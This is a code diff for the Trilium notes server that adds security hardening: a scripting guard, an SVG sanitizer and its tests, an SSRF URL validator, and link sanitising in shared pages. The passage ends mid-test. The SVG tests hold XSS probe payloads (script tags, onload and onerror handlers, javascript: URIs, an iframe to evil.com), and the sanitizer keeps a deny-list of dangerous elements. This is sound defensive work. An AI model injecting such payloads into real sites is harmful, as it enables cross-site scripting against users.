@@ -0,0 +1,28 @@
|
||||
import config from "./config.js";
|
||||
import { isElectron } from "./utils.js";
|
||||
|
||||
/**
|
||||
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
|
||||
*/
|
||||
export function assertScriptingEnabled(): void {
|
||||
if (isElectron || config.Scripting.enabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
|
||||
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
|
||||
);
|
||||
}
|
||||
|
||||
export function assertSqlConsoleEnabled(): void {
|
||||
if (isElectron || config.Scripting.sqlConsoleEnabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
|
||||
);
|
||||
}
|
||||
|
||||
export function isScriptingEnabled(): boolean {
|
||||
return isElectron || config.Scripting.enabled;
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import type { SearchParams, TokenStructure } from "./types.js";
|
||||
import type Expression from "../expressions/expression.js";
|
||||
import sql from "../../sql.js";
|
||||
import scriptService from "../../script.js";
|
||||
import { isScriptingEnabled } from "../../scripting_guard.js";
|
||||
import striptags from "striptags";
|
||||
import protectedSessionService from "../../protected_session.js";
|
||||
|
||||
@@ -80,6 +81,11 @@ function searchFromRelation(note: BNote, relationName: string) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!isScriptingEnabled()) {
|
||||
log.info("Script-based search is disabled (scripting is not enabled).");
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
|
||||
log.info(`Note ${scriptNote.noteId} is not executable.`);
|
||||
|
||||
|
||||
241
apps/server/src/services/svg_sanitizer.spec.ts
Normal file
241
apps/server/src/services/svg_sanitizer.spec.ts
Normal file
@@ -0,0 +1,241 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { sanitizeSvg } from "./svg_sanitizer.js";
|
||||
|
||||
describe("SVG Sanitizer", () => {
|
||||
describe("removes dangerous elements", () => {
|
||||
it("strips <script> tags with content", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
|
||||
it("strips <script> tags case-insensitively", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("SCRIPT");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips <script> tags with attributes", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips self-closing <script> tags", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("evil.js");
|
||||
});
|
||||
|
||||
it("strips <foreignObject> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("foreignObject");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips <iframe> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<iframe");
|
||||
expect(clean).not.toContain("evil.com");
|
||||
});
|
||||
|
||||
it("strips <embed> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<embed");
|
||||
});
|
||||
|
||||
it("strips <object> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<object");
|
||||
});
|
||||
|
||||
it("strips <link> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<link");
|
||||
});
|
||||
|
||||
it("strips <meta> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<meta");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removes event handler attributes", () => {
|
||||
it("strips onload from SVG root", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onload");
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).toContain("<circle");
|
||||
expect(clean).toContain("<svg");
|
||||
});
|
||||
|
||||
it("strips onclick from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onclick");
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).toContain("r=\"50\"");
|
||||
});
|
||||
|
||||
it("strips onerror from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onerror");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onmouseover from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onmouseover");
|
||||
});
|
||||
|
||||
it("strips onfocus from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onfocus");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removes dangerous URI schemes", () => {
|
||||
it("strips javascript: URIs from href", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("javascript:");
|
||||
expect(clean).toContain("<text>Click</text>");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs from xlink:href", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips data:text/html URIs", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("data:text/html");
|
||||
});
|
||||
|
||||
it("strips vbscript: URIs", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("vbscript:");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs with whitespace padding", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("javascript:");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removes xml-stylesheet processing instructions", () => {
|
||||
it("strips xml-stylesheet PIs", () => {
|
||||
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("xml-stylesheet");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
});
|
||||
|
||||
describe("preserves legitimate SVG content", () => {
|
||||
it("preserves basic SVG shapes", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG paths", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG text elements", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG groups and transforms", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG style elements with CSS (not script)", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain("<style>");
|
||||
expect(clean).toContain("fill:red");
|
||||
});
|
||||
|
||||
it("preserves SVG defs and gradients", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain("linearGradient");
|
||||
expect(clean).toContain("url(#grad)");
|
||||
});
|
||||
|
||||
it("preserves safe href attributes (non-javascript)", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain(`href="https://example.com"`);
|
||||
});
|
||||
|
||||
it("preserves data: URIs for images (non-HTML)", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain("data:image/png;base64,abc123");
|
||||
});
|
||||
|
||||
it("preserves empty SVG", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
});
|
||||
|
||||
describe("handles edge cases", () => {
|
||||
it("handles Buffer input", () => {
|
||||
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).not.toContain("<script");
|
||||
});
|
||||
|
||||
it("handles multiple script tags", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
|
||||
it("handles mixed dangerous content", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).not.toContain("onload");
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("foreignObject");
|
||||
expect(clean).not.toContain("onclick");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
|
||||
it("handles empty string input", () => {
|
||||
expect(sanitizeSvg("")).toBe("");
|
||||
});
|
||||
});
|
||||
});
|
||||
158
apps/server/src/services/svg_sanitizer.ts
Normal file
158
apps/server/src/services/svg_sanitizer.ts
Normal file
@@ -0,0 +1,158 @@
|
||||
/**
|
||||
* SVG sanitizer to prevent stored XSS via malicious SVG content.
|
||||
*
|
||||
* SVG files can contain embedded JavaScript via <script> tags, event handler
|
||||
* attributes (onload, onclick, etc.), <foreignObject> elements, and
|
||||
* javascript: URIs. This sanitizer strips all such dangerous constructs
|
||||
* while preserving legitimate SVG rendering elements.
|
||||
*
|
||||
* Defense-in-depth: SVG responses also receive a restrictive
|
||||
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
|
||||
* script execution even if sanitization is bypassed.
|
||||
*/
|
||||
|
||||
import type { Response } from "express";
|
||||
|
||||
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
|
||||
const DANGEROUS_ELEMENTS = new Set([
|
||||
"script",
|
||||
"foreignobject",
|
||||
"iframe",
|
||||
"embed",
|
||||
"object",
|
||||
"applet",
|
||||
"base",
|
||||
"link", // can load external resources
|
||||
"meta",
|
||||
]);
|
||||
|
||||
// Attribute prefixes/names that indicate event handlers
|
||||
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
|
||||
|
||||
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
|
||||
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
|
||||
|
||||
// Attributes that can contain URIs
|
||||
const URI_ATTRIBUTES = new Set([
|
||||
"href",
|
||||
"xlink:href",
|
||||
"src",
|
||||
"action",
|
||||
"formaction",
|
||||
"data",
|
||||
]);
|
||||
|
||||
// SVG "set" and "animate" elements can modify attributes to dangerous values
|
||||
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
|
||||
"attributename",
|
||||
]);
|
||||
|
||||
/**
|
||||
* Sanitizes SVG content by removing dangerous elements and attributes
|
||||
* that could lead to script execution (XSS).
|
||||
*
|
||||
* This uses regex-based parsing rather than a full DOM parser to avoid
|
||||
* adding heavy dependencies. The approach is conservative: it removes
|
||||
* known-dangerous constructs rather than allowlisting, but combined with
|
||||
* the CSP header this provides robust protection.
|
||||
*/
|
||||
export function sanitizeSvg(svg: string | Buffer): string {
|
||||
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
|
||||
|
||||
// 1. Remove dangerous elements and their contents entirely.
|
||||
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
|
||||
for (const element of DANGEROUS_ELEMENTS) {
|
||||
// Remove opening+closing tag pairs (including content between them)
|
||||
const pairRegex = new RegExp(
|
||||
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
|
||||
"gi"
|
||||
);
|
||||
content = content.replace(pairRegex, "");
|
||||
|
||||
// Remove self-closing variants
|
||||
const selfClosingRegex = new RegExp(
|
||||
`<${element}(\\s[^>]*)?\\/?>`,
|
||||
"gi"
|
||||
);
|
||||
content = content.replace(selfClosingRegex, "");
|
||||
}
|
||||
|
||||
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
|
||||
// and dangerous URI attributes from all remaining elements.
|
||||
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
|
||||
(_match, tagName, attrs, closing) => {
|
||||
if (!attrs || !attrs.trim()) {
|
||||
return `<${tagName}${closing}`;
|
||||
}
|
||||
|
||||
// Parse and filter attributes
|
||||
const sanitizedAttrs = sanitizeAttributes(attrs);
|
||||
return `<${tagName}${sanitizedAttrs}${closing}`;
|
||||
}
|
||||
);
|
||||
|
||||
// 3. Remove processing instructions that could be exploited
|
||||
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
|
||||
|
||||
return content;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the attribute string of an SVG element by removing
|
||||
* event handlers and dangerous URI values.
|
||||
*/
|
||||
function sanitizeAttributes(attrString: string): string {
|
||||
// Match individual attributes: name="value", name='value', name=value, or standalone name
|
||||
return attrString.replace(
|
||||
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
|
||||
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
|
||||
const lowerAttrName = attrName.toLowerCase();
|
||||
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
|
||||
|
||||
// Remove all event handler attributes
|
||||
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
|
||||
return "";
|
||||
}
|
||||
|
||||
// Check URI-bearing attributes for dangerous schemes
|
||||
if (URI_ATTRIBUTES.has(lowerAttrName)) {
|
||||
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
// Block animation elements from targeting event handlers via attributeName
|
||||
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
|
||||
const targetAttr = attrValue.toLowerCase();
|
||||
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
return fullMatch;
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sets security headers appropriate for SVG responses.
|
||||
* This provides defense-in-depth: even if SVG sanitization is somehow
|
||||
* bypassed, the CSP header prevents script execution.
|
||||
*/
|
||||
export function setSvgHeaders(res: Response): void {
|
||||
res.set("Content-Type", "image/svg+xml");
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
// Restrictive CSP that allows SVG rendering but blocks all script execution,
|
||||
// inline event handlers, and plugin-based content.
|
||||
res.set(
|
||||
"Content-Security-Policy",
|
||||
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
|
||||
);
|
||||
// Prevent SVG from being reinterpreted in a different MIME context
|
||||
res.set("X-Content-Type-Options", "nosniff");
|
||||
}
|
||||
|
||||
export default {
|
||||
sanitizeSvg,
|
||||
setSvgHeaders
|
||||
};
|
||||
@@ -5,6 +5,8 @@ import eventService from "./events.js";
|
||||
import entityConstructor from "../becca/entity_constructor.js";
|
||||
import ws from "./ws.js";
|
||||
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
|
||||
import attributeService from "./attributes.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
interface UpdateContext {
|
||||
alreadyErased: number;
|
||||
@@ -91,6 +93,18 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
|
||||
|
||||
preProcessContent(remoteEC, remoteEntityRow);
|
||||
|
||||
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
|
||||
// Same pattern as safeImport in attributes.ts
|
||||
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
|
||||
const attrRow = remoteEntityRow as Record<string, unknown>;
|
||||
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
|
||||
&& !attrRow.isDeleted
|
||||
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
|
||||
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
|
||||
attrRow.name = `disabled:${attrRow.name}`;
|
||||
}
|
||||
}
|
||||
|
||||
sql.replace(remoteEC.entityName, remoteEntityRow);
|
||||
|
||||
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];
|
||||
|
||||
140
apps/server/src/services/url_validator.ts
Normal file
140
apps/server/src/services/url_validator.ts
Normal file
@@ -0,0 +1,140 @@
|
||||
/**
|
||||
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
|
||||
*
|
||||
* These checks enforce scheme allowlists and optionally block requests to
|
||||
* private/internal IP ranges so that user-controlled URLs cannot be used to
|
||||
* reach local files or internal network services.
|
||||
*/
|
||||
|
||||
import { URL } from "url";
|
||||
import log from "./log.js";
|
||||
|
||||
/**
|
||||
* IPv4 private and reserved ranges that should not be reachable from
|
||||
* server-side HTTP requests initiated by user-supplied URLs.
|
||||
*/
|
||||
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
|
||||
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
|
||||
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
|
||||
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
|
||||
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
|
||||
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
|
||||
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
|
||||
];
|
||||
|
||||
/**
|
||||
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
|
||||
* if the string is not a valid IPv4 literal.
|
||||
*/
|
||||
function parseIPv4(ip: string): number | null {
|
||||
const parts = ip.split(".");
|
||||
if (parts.length !== 4) return null;
|
||||
|
||||
let result = 0;
|
||||
for (const part of parts) {
|
||||
const octet = Number(part);
|
||||
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
|
||||
result = (result << 8) | octet;
|
||||
}
|
||||
// Convert to unsigned 32-bit
|
||||
return result >>> 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
|
||||
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
|
||||
*
|
||||
* DNS resolution is NOT performed here; the check only applies when the
|
||||
* hostname is already an IP literal. For full SSRF protection against DNS
|
||||
* rebinding you would need an additional check after resolution, but
|
||||
* blocking IP literals covers the most common attack vectors.
|
||||
*/
|
||||
function isPrivateIP(hostname: string): boolean {
|
||||
// Strip IPv6 bracket notation that URL may retain.
|
||||
const cleanHost = hostname.replace(/^\[|\]$/g, "");
|
||||
|
||||
// IPv6 checks
|
||||
if (cleanHost === "::1") return true;
|
||||
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
|
||||
// fc00::/7 covers fc00:: through fdff::
|
||||
return true;
|
||||
}
|
||||
|
||||
// IPv4 check
|
||||
const ipNum = parseIPv4(cleanHost);
|
||||
if (ipNum !== null) {
|
||||
for (const range of PRIVATE_IPV4_RANGES) {
|
||||
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// "localhost" as a hostname (not an IP literal)
|
||||
if (cleanHost.toLowerCase() === "localhost") {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/** Schemes that are safe for outbound HTTP(S) image downloads. */
|
||||
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
|
||||
|
||||
/**
|
||||
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
|
||||
*
|
||||
* Rules:
|
||||
* 1. Only http: and https: schemes are permitted.
|
||||
* 2. The hostname must not resolve to a private/internal IP range.
|
||||
*
|
||||
* Returns `true` when the URL passes all checks, `false` otherwise.
|
||||
* Invalid / unparseable URLs also return `false`.
|
||||
*/
|
||||
export function isSafeUrlForFetch(urlStr: string): boolean {
|
||||
try {
|
||||
const parsed = new URL(urlStr);
|
||||
|
||||
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
|
||||
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isPrivateIP(parsed.hostname)) {
|
||||
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
} catch {
|
||||
log.info(`URL rejected - failed to parse: ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a base URL intended for an LLM provider API is using a safe
|
||||
* scheme (http or https only).
|
||||
*
|
||||
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
|
||||
* configured by authenticated administrators, so we only enforce the scheme
|
||||
* restriction without blocking private IPs (which are legitimate for
|
||||
* self-hosted services like Ollama).
|
||||
*
|
||||
* Returns `true` when the URL passes the check, `false` otherwise.
|
||||
*/
|
||||
export function isSafeProviderBaseUrl(urlStr: string): boolean {
|
||||
try {
|
||||
const parsed = new URL(urlStr);
|
||||
|
||||
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
|
||||
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
} catch {
|
||||
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,7 @@ import BNote from "../becca/entities/bnote.js";
|
||||
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
|
||||
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
|
||||
import log from "../services/log.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
import options from "../services/options.js";
|
||||
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
|
||||
import SAttachment from "./shaca/entities/sattachment.js";
|
||||
@@ -194,11 +195,13 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
|
||||
t,
|
||||
isDev,
|
||||
utils,
|
||||
sanitizeUrl,
|
||||
...renderArgs,
|
||||
};
|
||||
|
||||
// Check if the user has their own template.
|
||||
if (note.hasRelation("shareTemplate")) {
|
||||
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
|
||||
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
|
||||
// Get the template note and content
|
||||
const templateId = note.getRelation("shareTemplate")?.value;
|
||||
const templateNote = templateId && shaca.getNote(templateId);
|
||||
@@ -303,7 +306,9 @@ function renderIndex(result: Result) {
|
||||
|
||||
for (const childNote of rootNote.getChildNotes()) {
|
||||
const isExternalLink = childNote.hasLabel("shareExternalLink");
|
||||
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
|
||||
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
|
||||
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
|
||||
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
|
||||
}
|
||||
@@ -407,7 +412,10 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
|
||||
const linkedNote = getNote(noteId);
|
||||
if (linkedNote) {
|
||||
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
|
||||
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
|
||||
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
|
||||
const href = isExternalLink
|
||||
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
|
||||
: `./${linkedNote.shareId}`;
|
||||
if (href) {
|
||||
linkEl.setAttribute("href", href);
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import supertest from "supertest";
|
||||
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
import { safeExtractMessageAndStackFromError } from "../services/utils.js";
|
||||
import config from "../services/config.js";
|
||||
|
||||
let app: Application;
|
||||
|
||||
@@ -40,12 +41,19 @@ describe("Share API test", () => {
|
||||
});
|
||||
|
||||
it("renders custom share template", async () => {
|
||||
const response = await supertest(app)
|
||||
.get("/share/pQvNLLoHcMwH")
|
||||
.expect(200);
|
||||
expect(cannotSetHeadersCount).toBe(0);
|
||||
expect(response.text).toContain("Content Start");
|
||||
expect(response.text).toContain("Content End");
|
||||
// Custom EJS templates require scripting to be enabled
|
||||
const originalEnabled = config.Scripting.enabled;
|
||||
config.Scripting.enabled = true;
|
||||
try {
|
||||
const response = await supertest(app)
|
||||
.get("/share/pQvNLLoHcMwH")
|
||||
.expect(200);
|
||||
expect(cannotSetHeadersCount).toBe(0);
|
||||
expect(response.text).toContain("Content Start");
|
||||
expect(response.text).toContain("Content End");
|
||||
} finally {
|
||||
